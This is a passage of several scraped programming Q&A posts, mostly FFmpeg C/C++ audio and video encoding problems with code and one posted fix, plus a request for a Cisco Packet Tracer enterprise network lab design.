== nullptr) { FATAL("allocate frame failed."); } DEFER(AVFrame, audio_frame, av_frame_free(&audio_frame)); audio_frame->format = audio_enc_ctx->sample_fmt; audio_frame->channel_layout = audio_enc_ctx->channel_layout; audio_frame->nb_samples = audio_enc_ctx->frame_size; audio_frame->sample_rate = audio_enc_ctx->sample_rate; // 给frame的data和size分配空间 if (av_frame_get_buffer(audio_frame, 0) < 0) { FATAL("allocate frame data failed."); } // 创建swr的上下文 SwrContext *swr_cxt = swr_alloc(); DEFER(SwrContext, swr_cxt, swr_free(&swr_cxt)); // 获取输入与输出的采样格式 enum AVSampleFormat in_sample_fmt = PCM_IN_FORMAT; enum AVSampleFormat out_sample_fmt = audio_enc_ctx->sample_fmt; // 获取输入与输出的采样率 int in_sample_rate = PCM_IN_SAMPLE_RATE; int out_sample_rate = audio_enc_ctx->sample_rate; // 获取输入与输出的声道格式 uint64_t in_ch_layout = PCM_IN_CHANNEL_LAYOUT; uint64_t out_ch_layout = audio_enc_ctx->channel_layout; // 设置swr的配置项 swr_alloc_set_opts(swr_cxt, out_ch_layout, out_sample_fmt, out_sample_rate, in_ch_layout, in_sample_fmt, in_sample_rate, 0, nullptr); // 初始化swr swr_init(swr_cxt); // 申请一个packet,并初始化 AVPacket pkt; av_init_packet(&pkt); pkt.data = nullptr; pkt.size = 0; FILE *input = nullptr; if ((input = fopen(src_media, "rb")) == nullptr) { FATAL("no readable file."); } DEFER(FILE, input, fclose(input)); // 从文件中读取出来的数据,临时存储在该帧中 AVFrame *temp_frame = av_frame_alloc(); DEFER(AVFrame, temp_frame, av_frame_free(&temp_frame)); temp_frame->format = PCM_IN_FORMAT; temp_frame->nb_samples = PCM_IN_NB_SAMPLES; temp_frame->channel_layout = PCM_IN_CHANNEL_LAYOUT; temp_frame->channels = av_get_channel_layout_nb_channels(PCM_IN_CHANNEL_LAYOUT); // 给frame的data和size分配空间 if (av_frame_get_buffer(temp_frame, 0) < 0) { FATAL("allocate frame data failed."); } // 循环读取frame数据 int frame_count = 0; while (true) { if (av_frame_make_writable(audio_frame) < 0) { FATAL("frame is not writable"); } if (fread(temp_frame->data[0], 1, (size_t) temp_frame->linesize[0], input) < 0) { FATAL("read input file failed."); } else if (feof(input)) { break; } swr_convert(swr_cxt, audio_frame->data, audio_frame->nb_samples, (const uint8_t **) temp_frame->data, temp_frame->nb_samples); audio_frame->pts = av_rescale_q(frame_count, (AVRational){1, audio_enc_ctx->sample_rate}, audio_enc_ctx->time_base); frame_count += audio_frame->nb_samples; // 发送一个frame if (avcodec_send_frame(audio_enc_ctx, audio_frame) < 0) { FATAL("send frame exception."); } // 接受编码完的内容 while (true) { auto packet_ret = avcodec_receive_packet(audio_enc_ctx, &pkt); // 判断是否完全接受了packet if (packet_ret == AVERROR(EAGAIN) || packet_ret == AVERROR_EOF) { break; } // 检查是否接受异常 if (packet_ret < 0) { FATAL("receive packet exception."); } av_packet_rescale_ts(&pkt, audio_enc_ctx->time_base, audio_stream->time_base); pkt.stream_index = audio_stream->index; av_interleaved_write_frame(fmt_ctx, &pkt); av_packet_unref(&pkt); } } // 发送一个空的frame,告知编码器,已经编码完成,清空缓冲区 if (avcodec_send_frame(audio_enc_ctx, nullptr) < 0) { FATAL("send frame exception."); } // 接受编码完的内容 while (true) { auto packet_ret = avcodec_receive_packet(audio_enc_ctx, &pkt); // 判断是否完全接受了packet if (packet_ret == AVERROR(EAGAIN) || packet_ret == AVERROR_EOF) { break; } // 检查是否接受异常 if (packet_ret < 0) { FATAL("receive packet exception."); } av_packet_rescale_ts(&pkt, audio_enc_ctx->time_base, audio_stream->time_base); pkt.stream_index = audio_stream->index; av_interleaved_write_frame(fmt_ctx, &pkt); av_packet_unref(&pkt); } av_write_trailer(fmt_ctx); return 0; } ``` ### 问题已经解决,请看下面的代码 ```cpp #include <memory> extern "C" { #include "libavcodec/avcodec.h" #include "libavformat/avformat.h" #include "libswresample/swresample.h" } // 申请智能指针变量 #define NEW_PTR(T, P, V, Fn) T *P = V; std::shared_ptr<T> P##P(P, [&P](T *){if(P != nullptr){Fn;}}) // 打印异常信息,并退出main函数 #define FATAL(M, ...) printf(M, ##__VA_ARGS__); return -1 // 自定义变量 const char *src_media = "D:/2.pcm"; const char *dst_media = "D:/2.mp3"; // PCM的原始参数 #define PCM_IN_FORMAT AV_SAMPLE_FMT_S16 #define PCM_IN_CHANNELS 1 #define PCM_IN_SAMPLE_RATE 44100 int main(int argc, char **argv) { // 申请一个输出的上下文 NEW_PTR(AVFormatContext, fmt_ctx, nullptr, avio_closep(&fmt_ctx->pb); avformat_close_input(&fmt_ctx)); avformat_alloc_output_context2(&fmt_ctx, nullptr, nullptr, dst_media); if (fmt_ctx == nullptr) { FATAL("alloc output format context failed."); } // 查询编码器 AVCodec *audio_enc; if ((audio_enc = avcodec_find_encoder(fmt_ctx->oformat->audio_codec)) == nullptr) { FATAL("find audio encoder failed."); } // 为编码器申请上下文 NEW_PTR(AVCodecContext, audio_enc_ctx, nullptr, avcodec_free_context(&audio_enc_ctx)); if ((audio_enc_ctx = avcodec_alloc_context3(audio_enc)) == nullptr) { FATAL("allocate audio enc context failed."); } // 为编码器配置编码参数 audio_enc_ctx->sample_fmt = audio_enc->sample_fmts ? audio_enc->sample_fmts[0] : AV_SAMPLE_FMT_FLTP; audio_enc_ctx->bit_rate = 64000; audio_enc_ctx->sample_rate = 44100; audio_enc_ctx->channel_layout = AV_CH_LAYOUT_STEREO; audio_enc_ctx->channels = av_get_channel_layout_nb_channels(audio_enc_ctx->channel_layout); if (fmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) { audio_enc_ctx->flags |= AV_CODEC_FLAG_GLOBAL_HEADER; } // 打开编码器 if (avcodec_open2(audio_enc_ctx, audio_enc, nullptr) < 0) { FATAL("codec open failed."); } AVStream *audio_stream = avformat_new_stream(fmt_ctx, audio_enc); audio_stream->id = fmt_ctx->nb_streams - 1; audio_stream->time_base = AVRational{1, audio_enc_ctx->sample_rate}; if (avcodec_parameters_from_context(audio_stream->codecpar, audio_enc_ctx) < 0) { FATAL("copy params failed."); } if (avio_open(&fmt_ctx->pb, dst_media, AVIO_FLAG_WRITE) < 0) { FATAL("open dst file failed."); } // 写入头信息 if (avformat_write_header(fmt_ctx, nullptr) < 0) { FATAL("write header failed."); } // 申请一个音频frame NEW_PTR(AVFrame, audio_frame, nullptr, av_frame_free(&audio_frame)); if ((audio_frame = av_frame_alloc()) == nullptr) { FATAL("allocate frame failed."); } audio_frame->format = audio_enc_ctx->sample_fmt; audio_frame->channel_layout = audio_enc_ctx->channel_layout; audio_frame->nb_samples = audio_enc_ctx->frame_size; audio_frame->sample_rate = audio_enc_ctx->sample_rate; if (av_frame_get_buffer(audio_frame, 0) < 0) { FATAL("audio frame get buffer failed."); } // 创建一个frame,用来存储从pcm读取的数据 NEW_PTR(AVFrame, buf_frame, nullptr, av_frame_free(&buf_frame)); if ((buf_frame = av_frame_alloc()) == nullptr) { FATAL("allocate buf frame failed."); } buf_frame->format = PCM_IN_FORMAT; buf_frame->nb_samples = audio_frame->nb_samples; buf_frame->channel_layout = (uint64_t) av_get_default_channel_layout(PCM_IN_CHANNELS); buf_frame->sample_rate = PCM_IN_SAMPLE_RATE; if (av_frame_get_buffer(buf_frame, 0) < 0) { FATAL("create buf frame buffer failed."); } // 从pcm文件中读取适应音频帧的尺寸数据 auto readSize = av_samples_get_buffer_size(nullptr, buf_frame->channels, buf_frame->nb_samples, (AVSampleFormat) buf_frame->format, 1); NEW_PTR(uint8_t , buf, (uint8_t*)av_malloc((size_t)readSize), av_freep(&buf)); // 创建swr的上下文 NEW_PTR(SwrContext, swr_ctx, swr_alloc(), swr_free(&swr_ctx)); swr_alloc_set_opts(swr_ctx, audio_frame->channel_layout, (AVSampleFormat)audio_frame->format, audio_frame->sample_rate, av_get_default_channel_layout(PCM_IN_CHANNELS), PCM_IN_FORMAT, PCM_IN_SAMPLE_RATE, 0, nullptr); swr_init(swr_ctx); // 申请一个packet,并初始化 AVPacket pkt; av_init_packet(&pkt); pkt.data = nullptr; pkt.size = 0; NEW_PTR(FILE, input, nullptr, fclose(input)); if ((input = fopen(src_media, "rb")) == nullptr) { FATAL("no readable file."); } // 循环读取frame数据 int audio_pts = 0; while (true) { // 用来编码的帧 AVFrame * encode_frame = nullptr; if (fread(buf, 1, (size_t) readSize, input) < 0) { FATAL("read input file failed."); } else if (!feof(input)) { // 文件没有到结尾,则获取编码帧 av_samples_fill_arrays(buf_frame->data, buf_frame->linesize, (const uint8_t*)buf, buf_frame->channels, buf_frame->nb_samples, (AVSampleFormat)buf_frame->format, 1); swr_convert(swr_ctx, audio_frame->data, audio_frame->nb_samples, (const uint8_t**)buf_frame->data, buf_frame->nb_samples); audio_frame->pts = audio_pts; audio_pts += av_rescale_q(audio_frame->nb_samples, AVRational{1, audio_enc_ctx->frame_size}, audio_enc_ctx->time_base); encode_frame = audio_frame; } else { // 文件结束了,则发送一个空指针的frame,用来清空缓冲区 encode_frame = nullptr; } // 发送一个frame if (avcodec_send_frame(audio_enc_ctx, encode_frame) < 0) { FATAL("send frame exception."); } // 接受编码完的内容 while (true) { auto packet_ret = avcodec_receive_packet(audio_enc_ctx, &pkt); // 判断是否完全接受了packet if (packet_ret == AVERROR(EAGAIN) || packet_ret == AVERROR_EOF) { break; } // 检查是否接受异常 if (packet_ret < 0) { FATAL("receive packet exception."); } av_packet_rescale_ts(&pkt, audio_enc_ctx->time_base, audio_stream->time_base); pkt.stream_index = audio_stream->index; av_interleaved_write_frame(fmt_ctx, &pkt); av_packet_unref(&pkt); } // 编码帧为空,则表示已经处理完所有的编码,退出该循环 if (encode_frame == nullptr) break; } av_write_trailer(fmt_ctx); return 0; } ```
在用ffmpeg 2.0做一个转码工具的时候,转出的视频 视频播放速度变快
在用最新版 ffmpeg 2.0 转换视频的时候 首先遇到的一个问题是 在 avformat_write_header(pFormatCtxOut, NULL); 处报错:[mp4 @ 0x8183600] track 1: codec frame size is not set 虽然报了这个错误 但是还是能够转码,只是转出来的视频本来30秒 但是15秒左右就没有了,应该没有丢帧,只不过画面播放得特别快,就像快进一样。下面是源码,求大神 出场--- // Created by showself on 13-8-19. // Copyright (c) 2013年 showself. All rights reserved. // #include <stdio.h> #include "test2.h" #include <stdlib.h> #include <stdio.h> #include <string.h> #include <math.h> #include <libavutil/opt.h> #include <libavutil/mathematics.h> #include <libavformat/avformat.h> #include <libswscale/swscale.h> #include <libswresample/swresample.h> static AVStream *add_stream(AVFormatContext *oc, AVCodec **codec, enum AVCodecID codec_id); void transTest2(const char *src, const char *dst) { const char *filename; const char *outfilename; AVFormatContext *pFormatCtxIn,*pFormatCtxOut; AVInputFormat *inFmt; AVOutputFormat *outFmt; AVStream *audio_st,*video_st; AVFrame *pFrameIn; AVCodecContext *pVideoCodecCtxIn,*pAudioCodecCtxIn,*pVideoCodecCtxOut,*pAudioCodecCtxOut; AVCodec *pVideoCodecIn,*pAudioCodecIn,*pVideoCodecOut,*pAudioCodecOut; int i ,videoStream,audioStream;; int ret = 0; AVPacket packet; // int frame_count; /* Initialize libavcodec, and register all codecs and formats. */ av_register_all(); if (src == NULL) { printf("no input file"); return; } filename = src; outfilename = dst; /*get inout format*/ inFmt = av_find_input_format("MOV"); /*allocate the input media context*/ pFormatCtxIn = avformat_alloc_context(); if (pFormatCtxIn == NULL) { printf("allocate the input media context error"); return; } // open a video if (avformat_open_input(&pFormatCtxIn, filename, inFmt, NULL)) { return; } // get stream info if (avformat_find_stream_info(pFormatCtxIn, NULL)<0) { return; } // get streams index from a video videoStream = -1; audioStream = -1; for (i=0; i<pFormatCtxIn->nb_streams; i++) { if(pFormatCtxIn->streams[i]->codec->codec_type==AVMEDIA_TYPE_VIDEO) { printf("%d stream 为视频\n",i); videoStream=i; } if (pFormatCtxIn->streams[i]->codec->codec_type == AVMEDIA_TYPE_AUDIO) { audioStream = i;// 音轨位置 printf("%d stream 为音轨\n",i); } } if(videoStream==-1) return ; // Didn't find a video stream or Did not find a audio stream if (audioStream == -1) { return; } // get decode codec contex pointer pVideoCodecCtxIn = pFormatCtxIn->streams[videoStream]->codec; pAudioCodecCtxIn = pFormatCtxIn->streams[audioStream]->codec; // get decode codec pointer pVideoCodecIn = avcodec_find_decoder(pVideoCodecCtxIn->codec_id); if (pVideoCodecIn == NULL) { return; } pAudioCodecIn = avcodec_find_decoder(pAudioCodecCtxIn->codec_id); if (pAudioCodecIn == NULL) { return; } // open codec if (avcodec_open2(pVideoCodecCtxIn, pVideoCodecIn, NULL)<0) { return; } if (avcodec_open2(pAudioCodecCtxIn, pAudioCodecIn, NULL)<0) { return; } // allocate input frame pFrameIn = av_frame_alloc(); if (pFrameIn == NULL) { return; } /* allocate the output media context */ // // method 1 // avformat_alloc_output_context2(&pFormatCtxOut, NULL, NULL, outfilename); // if (!pFormatCtxOut) { // printf("Could not deduce output format from file extension: using MPEG.\n"); // avformat_alloc_output_context2(&pFormatCtxOut, NULL, "mpeg", outfilename); // } // if (!pFormatCtxOut) { // return ; // } // method 2 outFmt = av_guess_format(NULL, outfilename, NULL); if (outFmt == NULL) { return; } pFormatCtxOut = avformat_alloc_context(); if (pFormatCtxOut == NULL) { return; } pFormatCtxOut->oformat = outFmt; sprintf(pFormatCtxOut->filename, "%s",outfilename); // get output codec from AVOutputContext pVideoCodecOut = avcodec_find_encoder(outFmt->video_codec); if (pVideoCodecOut == NULL) { return; } pAudioCodecOut = avcodec_find_encoder(outFmt->audio_codec); if (pAudioCodecOut == NULL) { return; } /* Add the audio and video streams using the default format codecs * and initialize the codecs. */ video_st = NULL; audio_st = NULL; // 添加一条视频流 if (outFmt->video_codec != AV_CODEC_ID_NONE) { // 解码 源视频流 video_st = avformat_new_stream(pFormatCtxOut, pVideoCodecOut); if (video_st == NULL) { return; } pVideoCodecCtxOut = video_st->codec; pVideoCodecCtxOut->codec_type = AVMEDIA_TYPE_VIDEO; pVideoCodecCtxOut->codec_id = outFmt->video_codec; pVideoCodecCtxOut->bit_rate = pVideoCodecCtxIn->bit_rate/2; pVideoCodecCtxOut->width = pVideoCodecCtxIn->width; pVideoCodecCtxOut->height = pVideoCodecCtxIn->height; pVideoCodecCtxOut->time_base.den = 25; pVideoCodecCtxOut->time_base.num = 1; pVideoCodecCtxOut->gop_size = 12; pVideoCodecCtxOut->pix_fmt = PIX_FMT_YUV420P; if (pVideoCodecCtxOut->codec_id == AV_CODEC_ID_MPEG2VIDEO) { /* just for testing, we also add B frames */ pVideoCodecCtxOut->max_b_frames =2; } if (pVideoCodecCtxOut->codec_id == AV_CODEC_ID_MPEG1VIDEO) { /* Needed to avoid using macroblocks in which some coeffs overflow. * This does not happen with normal video, it just happens here as * the motion of the chroma plane does not match the luma plane. */ pVideoCodecCtxOut->mb_decision = 2; } } if (pFormatCtxOut->oformat->flags & AVFMT_GLOBALHEADER) { pVideoCodecCtxOut->flags |= CODEC_FLAG_GLOBAL_HEADER; } // 添加一条音频流 if (outFmt->audio_codec != AV_CODEC_ID_NONE) { audio_st = avformat_new_stream(pFormatCtxOut, pAudioCodecOut); if (audio_st == NULL) { return; } pAudioCodecCtxOut = audio_st->codec; pAudioCodecCtxOut->codec_id = outFmt->audio_codec; pAudioCodecCtxOut->coder_type = AVMEDIA_TYPE_AUDIO; pAudioCodecCtxOut->sample_fmt = pAudioCodecCtxIn->sample_fmt; pAudioCodecCtxOut->bit_rate = pAudioCodecCtxIn->bit_rate; pAudioCodecCtxOut->sample_rate = pAudioCodecCtxIn->sample_rate; pAudioCodecCtxOut->channels = pAudioCodecCtxIn->channels; pAudioCodecCtxOut->channel_layout = pAudioCodecCtxIn->channel_layout; } if (pFormatCtxOut->oformat->flags & AVFMT_GLOBALHEADER) { pAudioCodecCtxOut->flags |= CODEC_FLAG_GLOBAL_HEADER; } // open encode codec if (avcodec_open2(pVideoCodecCtxOut, pVideoCodecOut, NULL)<0) { return; } // if(avcodec_open2(pAudioCodecCtxOut, pAudioCodecOut, NULL)<0) // { // printf("audio encode codec not found\n"); // return; // } av_dump_format(pFormatCtxOut, 0, outfilename, 1); // open the output file, if needed if (!(pFormatCtxOut->flags & AVFMT_NOFILE)) { // if (avio_open(&pFormatCtxOut->pb, outfilename, AVIO_FLAG_WRITE) < 0) { fprintf(stderr, "Could not open '%s'\n", outfilename); return; } } printf("1\n"); // write the stream header, if any // [mp4 @ 0x99a8a00] track 1: codec frame size is not set? avformat_write_header(pFormatCtxOut, NULL); printf("2\n"); av_init_packet(&packet); int frameFinished; int videoFrameCount=0,audioFrameCount=0; int got_packet,frames=0; while (av_read_frame(pFormatCtxIn, &packet)>=0) {// 只要有帧 就读到packet中 printf("video frame %d audio frame %d dts-%lld pts-%lld \n",videoFrameCount,audioFrameCount,packet.dts,packet.pts); frames ++; /*decodec and codec*/ if (packet.stream_index == videoStream) { ret = avcodec_decode_video2(pVideoCodecCtxIn, pFrameIn, &frameFinished, &packet); videoFrameCount++; if (frameFinished) { // pFrameOut->data[0] = pFrameIn->data[0]; // pFrameOut->data[1] = pFrameIn->data[1]; // pFrameOut->data[2] = pFrameIn->data[2]; // pFrameOut->linesize[0] = pFrameIn->linesize[0]; // pFrameOut->linesize[1] = pFrameIn->linesize[1]; // pFrameOut->linesize[2] = pFrameIn->linesize[2]; if (outFmt->flags & AVFMT_RAWPICTURE) { // 不改变图片尺寸 AVPacket pkt; av_init_packet(&pkt); pkt.flags |= AV_PKT_FLAG_KEY; pkt.stream_index = video_st->index; pkt.data = (uint8_t *)pFormatCtxIn; pkt.size = sizeof(AVPicture); av_write_frame(pFormatCtxOut, &pkt); } else // 需要改变尺寸 { AVPacket pkt = {0}; av_init_packet(&pkt); ret = avcodec_encode_video2(pVideoCodecCtxOut, &pkt, pFrameIn, &got_packet); if (ret<0) { return; } /* If size is zero, it means the image was buffered. */ if (!ret && got_packet && pkt.size) { printf("frame dts-%lld pts-%lld \n",packet.dts,packet.pts); pkt.stream_index = video_st->index; pkt.pts = pVideoCodecCtxOut->coded_frame->pts; if(pVideoCodecCtxOut->coded_frame->key_frame) // 如果是关键帧 pkt.flags |= AV_PKT_FLAG_KEY; /* Write the compressed frame to the media file. */ // ret = av_interleaved_write_frame(pFormatCtxOut, &pkt); av_write_frame(pFormatCtxOut, &pkt); } else { ret = 0; } } } } else if(packet.stream_index == audioStream) { audioFrameCount ++; printf("frame dts-%lld pts-%lld \n",packet.dts,packet.pts); av_write_frame(pFormatCtxOut, &packet); } // /* get the delayed frames */ // for (got_packet = 1; got_packet; i++) { // got_output ’Ê // fflush(stdout); // ret = avcodec_encode_video2(pVideoCodecCtxOut, &packet, NULL, &got_packet); // if (ret < 0) { // fprintf(stderr, "Error encoding frame\n"); // exit(1); // } // if (got_packet) { // printf("Write frame %3d (size=%5d)\n", i, packet.size); // av_write_frame(pFormatCtxOut, &packet); // } // } } av_write_trailer(pFormatCtxOut); avcodec_close(pVideoCodecCtxIn); avcodec_close(pVideoCodecCtxOut); avcodec_close(pAudioCodecCtxIn); avcodec_close(pAudioCodecCtxOut); }
ffmpeg编解码异常,Resource temporarily unavailable
修改ffplay官方代码,使用ffmpeg实现从新编码保存mp4功能。调用avcodec_receive_packet返回-1,提示Resource temporarily unavailable,保存出来的文件没有I帧。 完整代码: https://github.com/hrdzkj/ffplay/tree/ffplayOpengl (注意是在ffplayOpengl分支) 关键代码: int ffp_start_record(FFPlayer *ffp, const char *file_name) { assert(ffp); VideoState *is = ffp->is; if (!file_name || !strlen(file_name)) { // 没有路径 av_log(ffp, AV_LOG_ERROR, "filename is invalid"); goto end; } if (!is || !is->ic || is->paused || is->abort_request) { // 没有上下文,或者上下文已经停止 av_log(ffp, AV_LOG_ERROR, "is,is->ic,is->paused is invalid"); goto end; } if (ffp->is_record) { // 已经在录制 av_log(ffp, AV_LOG_ERROR, "recording has started"); goto end; } ffp->m_ofmt_ctx = NULL; ffp->is_record = 0; ffp->record_error = 0; // todo avformat_new_stream,avcodec_copy_context/avcodec_parameters_from_context 等api函数的作用,初始化了什么东西 // 初始化一个用于输出的AVFormatContext结构体 avformat_alloc_output_context2(&ffp->m_ofmt_ctx, NULL, "mp4", file_name); if (!ffp->m_ofmt_ctx) { av_log(ffp, AV_LOG_ERROR, "Could not create output context filename is %s\n", file_name); goto end; } stream_ctx = av_mallocz_array(is->ic->nb_streams, sizeof(*stream_ctx)); if (!stream_ctx) { goto end; } for (int i = 0; i < is->ic->nb_streams; i++) { int ret; AVCodec *encoder; AVCodecContext *enc_ctx; AVCodecContext *dec_ctx = is->ic->streams[i]->codec; if (dec_ctx->codec_type != AVMEDIA_TYPE_VIDEO && dec_ctx->codec_type != AVMEDIA_TYPE_AUDIO) { continue; } //对照输入流创建输出流通道 AVStream *in_stream = is->ic->streams[i]; AVStream *out_stream = avformat_new_stream(ffp->m_ofmt_ctx, NULL); if (!out_stream) { av_log(ffp, AV_LOG_ERROR, "Failed allocating output stream\n"); goto end; } //查找编码器、创建编码器上下文、设置编码器参数,然后打开编码器 encoder = avcodec_find_encoder(dec_ctx->codec_id); if (!encoder) { av_log(NULL, AV_LOG_FATAL, "Necessary encoder not found\n"); goto end; } enc_ctx = avcodec_alloc_context3(encoder); if (!enc_ctx) { av_log(NULL, AV_LOG_FATAL, "Failed to allocate the encoder context\n"); goto end; } //不是帧率的问题,是I P B帧的区别导致的问题了 ret = avcodec_parameters_to_context(enc_ctx, in_stream->codecpar); if (ret < 0) { printf("Failed to copy context input to output stream codec context\n"); goto end; } if (enc_ctx->codec_type == AVMEDIA_TYPE_VIDEO) { //enc_ctx->height = dec_ctx->height; //enc_ctx->width = dec_ctx->width; //enc_ctx->sample_aspect_ratio = dec_ctx->sample_aspect_ratio; //enc_ctx->gop_size = 10; //enc_ctx->max_b_frames = 0; //if (encoder->pix_fmts) //enc_ctx->pix_fmt = encoder->pix_fmts[0]; //else // enc_ctx->pix_fmt = dec_ctx->pix_fmt; enc_ctx->time_base = av_inv_q(dec_ctx->framerate); //enc_ctx->time_base = //(AVRational) { 1, 30 }; //enc_ctx->framerate = //(AVRational) { 30, 1 }; } else { //enc_ctx->sample_rate = dec_ctx->sample_rate; //enc_ctx->channel_layout = dec_ctx->channel_layout; //enc_ctx->channels = av_get_channel_layout_nb_channels(enc_ctx->channel_layout); //enc_ctx->sample_fmt = encoder->sample_fmts[0]; enc_ctx->time_base = (AVRational) { 1, dec_ctx->sample_rate }; } if (ffp->m_ofmt_ctx->flags & AVFMT_GLOBALHEADER) { enc_ctx->flags |= AV_CODEC_FLAG_GLOBAL_HEADER; } ret = avcodec_open2(enc_ctx, encoder, NULL); if (ret < 0) { av_log(NULL, AV_LOG_ERROR, "Cannot open video encoder for stream #%u\n", i); goto end; } ret = avcodec_copy_context(out_stream->codec, in_stream->codec); //ret = avcodec_parameters_to_context(out_stream->codec, in_stream->codecpar); //ret = avcodec_parameters_from_context(out_stream->codecpar, enc_ctx); if (ret < 0) { av_log(NULL, AV_LOG_ERROR, "Failed to copy encoder parameters to output stream #%u\n", i); goto end; } out_stream->time_base = enc_ctx->time_base; stream_ctx[i].enc_ctx = enc_ctx; } av_dump_format(ffp->m_ofmt_ctx, 0, file_name, 1); // 打开输出文件 if (!(ffp->m_ofmt_ctx->oformat->flags & AVFMT_NOFILE)) { if (avio_open(&ffp->m_ofmt_ctx->pb, file_name, AVIO_FLAG_WRITE) < 0) { av_log(ffp, AV_LOG_ERROR, "Could not open output file '%s'", file_name); goto end; } } // 写视频文件头 if (avformat_write_header(ffp->m_ofmt_ctx, NULL) < 0) { av_log(ffp, AV_LOG_ERROR, "Error occurred when opening output file\n"); goto end; } ffp->is_first = 0; ffp->is_record = 1; ffp->record_error = 0; return 0; end: ffp->record_error = 1; return -1; } static void encode(FFPlayer *ffp,AVCodecContext *enc_ctx, AVFrame *frame) { int ret; int got_frame;// malloc(sizeof(int)); AVPacket pkt = { 0 }; av_init_packet(&pkt); pkt.data = NULL; pkt.size = 0; int stream_index=getMediaTypeStreamIndex(ffp,AVMEDIA_TYPE_VIDEO); /* send the frame to the encoder */ if (frame) printf("Send frame %3"PRId64"\n", frame->pts); /* //旧的api ret= avcodec_encode_video2(enc_ctx, &pkt,frame, &got_frame); if (ret < 0) return ret; if (!(got_frame)) { fprintf(stderr, "avcodec_encode_video2 fail \n"); return ; } ffp_record_file(ffp, &pkt); av_packet_unref(&pkt); */ //新的api ret = avcodec_send_frame(enc_ctx, frame); if (ret < 0) { fprintf(stderr, "Error sending a frame for encoding\n"); return -1; } while (1) { ret = avcodec_receive_packet(enc_ctx, &pkt); if (ret) { fprintf(stderr, "Error encoding ret= %d,%s \n", ret,av_err2str(ret)); break; } fprintf(stdout, " -----> encoding success!\n"); pkt.stream_index = stream_index; ffp_record_file(ffp,&pkt); av_packet_unref(&pkt); } } 提示Resource temporarily unavailable的截图 ![图片说明](https://img-ask.csdn.net/upload/201911/14/1573714996_774759.jpg) 生成的mp4文件无I帧截图 ![图片说明](https://img-ask.csdn.net/upload/201911/14/1573715130_904969.png)
网络互联用思科模拟器实现一个实验
参考下页某公司局域网设计参考图,设计功能要求: (1)硬件防火墙1台,可以用路由器通过ACL进行功能实现:①数据中心不能访问互联网,互联网也不能访问数据中心;②隔离冲击波病毒。 (2)路由器数量根据需要自定义。 (3)两个分公司分别由一台路由器、一台交换机和一个终端模拟,图中只画出了一个分公司的示意图。 ![图片说明](https://img-ask.csdn.net/upload/201912/09/1575851892_692633.png) (4)每个部门划分为1个子网并划vlan,划分要求:2个分公司、行政办公中心、AC子网各占一个C类地址,其它子网数据中心、调试中心、安防中心、交易中心、工会(另外自定义两个子网)各分配地址不少50个。 (5)交易中心和AC网络使用DHCP获得IP地址,由服务中心一台服务器作为DHCP Server和DNS实现功能。 (6)其中服务器一台,实现Web服务,公司所有主机都可以访问数据中心。 (7)互联网由一台路由器模拟,内网通过NAPT互联网。 (8)每个子网(vlan)至少要有一台终端,要求实际配置IP地址,用来测试要求的功能。 (9)接入层用二层交换机即可,汇聚层根据需要可以选择用二层也可以选择三层交换机,核心交换机要求用三层交换机,接入层、汇聚层、核心层交换机根据需要运行生成树协议,并通过生成树协议实现冗余和负载均衡。 (10)无线网络由ac+ap设计,有方案即可。 求配置完成后的pkt文件及配置过程代码文档 后期再添加悬shang度
FFmpeg C++ 的 avcodec_encode_video2 返回 -40
我想通過avcodec_encode_video2 覆蓋packet中的memory來達到刷新我做過特殊渲染的影像,但avcodec_encode_video2 的返回值是不成功-40問題: 我正常撥放輸出都沒問題 就是沒辦法蓋過圖層,是不是哪邊memory寫法不正確呢? 代碼如下: AVOutputFormat* ofmt = NULL; //Input AVFormatContext and Output AVFormatContext AVFormatContext* i_pFormatCtx = NULL, * out_pFormatCtx = NULL; AVCodecContext* pCodecCtx;//視頻解碼器 AVCodecContext* pCodecCtxAudio;//音頻解碼器 AVCodec* pCodec; AVCodec* pCodecAudio; AVPacket packet; string in_filename; string out_filename; int ret, i; int videoindex = -1; int audioindex = -1; int frame_index = 0; int64_t start_time = 0; uint8_t* buffer; AVFrame* pFrame; AVFrame* pFrameRGB; int frameFinished; int frameAudioFinished; int numBytes; AVStream* in_stream, * out_stream; vector<AVPacket> BIGpacket; in_filename = "D:/yolo/data_movie/f1.mp4"; out_filename = "rtmp://localhost:1935/live/home";//怀堤 URLㄗOutput URLㄘ[RTMP] //================ // 註冊: av_register_all(); //================ //Network avformat_network_init(); //======================= //Input if ((ret = avformat_open_input(&i_pFormatCtx, in_filename.c_str(), 0, 0)) < 0) { //printf("Could not open input file."); goto end; } if ((ret = avformat_find_stream_info(i_pFormatCtx, 0)) < 0) { //printf("Failed to retrieve input stream information"); goto end; } for (i = 0; i < i_pFormatCtx->nb_streams; i++) { if (i_pFormatCtx->streams[i]->codec->codec_type == AVMEDIA_TYPE_VIDEO) { videoindex = i; } if (i_pFormatCtx->streams[i]->codec->codec_type == AVMEDIA_TYPE_AUDIO) { audioindex = i; } } av_dump_format(i_pFormatCtx, 0, in_filename.c_str(), 0); //Output avformat_alloc_output_context2(&out_pFormatCtx, NULL, "flv", out_filename.c_str()); //RTMP if (!out_pFormatCtx) { //printf("Could not create output context\n"); ret = AVERROR_UNKNOWN; goto end; } ofmt = out_pFormatCtx->oformat; for (i = 0; i < i_pFormatCtx->nb_streams; i++) { //Create output AVStream according to input AVStream AVStream* in_stream = i_pFormatCtx->streams[i]; AVStream* out_stream = avformat_new_stream(out_pFormatCtx, in_stream->codec->codec); if (!out_stream) { AfxMessageBox(L"Failed allocating output stream"); //printf("Failed allocating output stream\n"); ret = AVERROR_UNKNOWN; goto end; } //Copy the settings of AVCodecContext ret = avcodec_copy_context(out_stream->codec, in_stream->codec); if (ret < 0) { //printf("Failed to copy context from input to output stream codec context\n"); goto end; } out_stream->codec->codec_tag = 0; if (out_pFormatCtx->oformat->flags & AVFMT_GLOBALHEADER) out_stream->codec->flags |= AV_CODEC_FLAG_GLOBAL_HEADER; } //====================================================================== // 打开視頻解码器 pCodecCtx = i_pFormatCtx->streams[videoindex]->codec; pCodec = avcodec_find_decoder(pCodecCtx->codec_id); if (avcodec_open2(pCodecCtx, pCodec, 0) < 0) { DbgPrint("Could not open codec"); return; } //====================================================================== // 打开音頻解码器 pCodecCtxAudio= i_pFormatCtx->streams[audioindex]->codec; pCodecAudio= avcodec_find_decoder(pCodecCtxAudio->codec_id); if (avcodec_open2(pCodecCtxAudio, pCodecAudio, 0) < 0) { DbgPrint("Could not open codec"); return; } #if OUTPUT_PCM pFile = fopen("output.pcm", "wb"); #endif** packet = *(AVPacket*)av_malloc(sizeof(AVPacket)); av_init_packet(&packet); //===================================================================== // 破解視頻某些编解码器可能生成的错误帧速率 if (pCodecCtx->time_base.num > 1000 && 